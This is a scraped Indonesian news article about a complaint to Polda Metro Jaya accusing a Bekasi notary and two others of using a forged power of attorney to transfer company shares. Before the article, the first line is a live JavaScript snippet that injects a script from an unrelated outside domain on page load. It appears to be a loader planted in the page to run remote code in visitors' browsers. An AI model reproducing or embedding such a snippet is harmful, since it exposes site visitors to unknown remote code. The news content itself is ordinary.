(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Diduga Buat Akta Palsu, Notaris Senior di Bekasi Dilaporkan ke Polda Metro Jaya


KANALKALIMANTAN. COM, JAKARTA – Notaris senior di Kota Bekasi Ambiati SH dilaporkan ke Polda Metro Jaya oleh seorang pengusaha asal Surabaya, Jawa Timur, Agam Tirto Buwono The. Selain Ambiati SH, Agam juga melaporkan dua orang lainnya yakni Betty Yuniarsih dan Hong Kah Ing.

Laporan Agam ini tercatat dengan Nomor: LP/B/7751/XII/2024/SPKT/Polda Metro Jaya Tertanggal 18 Desember 2024. Dalam laporan ke polisi, Agam menyebutkan bahwa Ambiati diduga membuat akta Nomor 34 berdasarkan Surat Kuasa Khusus tertanggal 8 Juli 2013. Di dalam surat kuasa khusus tersebut menggunakan keterangan palsu yang membubuhkan materai tempel yang diterbitkan Dirjen Pajak pada tahun 2016.

Kuasa Hukum Agam Tirto Buwono The, M Mahfuz Abdullah mengatakan bahwa akibat pemalsuan keterangan dalam akta tersebut, kliennya akhirnya kehilangan saham pada perusahaan. Mahfuz juga memastikan kliennya, Agam tidak pernah menyuruh atau membuat surat kuasa “khusus” kepada Betty Yuniarsih untuk digunakan dalam membuat akta kepada notaris Ambiati.

Baca juga: DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

“Klien kami, bapak Agam Tirto Buwono tidak pernah membuat Surat Kuasa Khusus kepada atas nama Betty Yuniarsih selaku Office Manager PT Greenworld Resources, apalagi memindahkan saham seperti yang tercantum dalam surat kuasa tersebut. Setelah kami telusuri, ternyata surat tersebut bertanggal 8 Juli 2013 tetapi membubuhkan materai tempel yang baru diterbitkan oleh Dirjen Pajak pada tanggal 08 September 2016. Jadi sangat jelas pemalsuannya,” kata M Mahfuz Abdullah di kantornya, di kawasan Menteng, Jakarta Pusat, Kamis (19/12/2024) siang.

Dikatakan, dalam Akta Nomor 34 yang dibuat notaris Ambiati, tercantum tanggal pembuatan pada 18 Februari 2014 dengan mendasarkan Surat Kuasa Khusus yang dibuat pada tanggal 8 Juli 2013 tersebut dengan materai tempel diterbitkan tahun 2016.

“Dalam Akta Nomor 34 itulah terlapor Betty Yuniarsih selaku Pihak Pertama melakukan jual beli saham PT Teknik Alum Servis (TAS) kepada Hong Kah Ing selaku Pihak Kedua,” tambah Mahfuz.

Baca juga: Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

Para terlapor diduga melanggar UU Nomor 1 Tahun 1946 tentang KUHP, yaitu pasal 263 tentang pemalsuan dan atau pasal 266 tentang pemidanaan pelaku yang menyuruh memasukkan keterangan palsu ke dalam akta otentik atau menggunakan akta palsu, pasal 372 tentang penggelapan. Selain itu, ketiganya juga diduga terlibat dalam tindak pidana pencucian uang dengan dugaan pelanggaran pasal 3, pasal 4, pasal 5 Undang-Undang Nomor 8 Tentang Tindak Pidana Pencucian Uang (TPPU).

Baca juga: Hari Bela Negara 19 Desember, Ini Sejarahnya

Ironisnya, kata Mahfuz, data keterangan palsu pada akta palsu tersebut, PT TAS dicatatkan dalam perdagangan bursa saham di Singapura atau Singapore Exchange (SGX).

“Jadi Singapore Exchange kecolongan, ada perusahaan melakukan IPO dengan data palsu, menyedihkan sekali kan. Kalau ini terbuka ke publik tentu akan mengganggu reputasi SGX sebagai sebuah lembaga pasar modal terkemuka di Asia, bahkan terkemuka di dunia, kecolongan oleh dugaan pemalsuan data,” pungkasnya.(Kanalkalimantan.com/kk)

Editor : kk


Muhammad Andi

Recent Posts

Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More

2 jam ago

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

6 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

6 jam ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

7 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

10 jam ago

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

11 jam ago

This website uses cookies.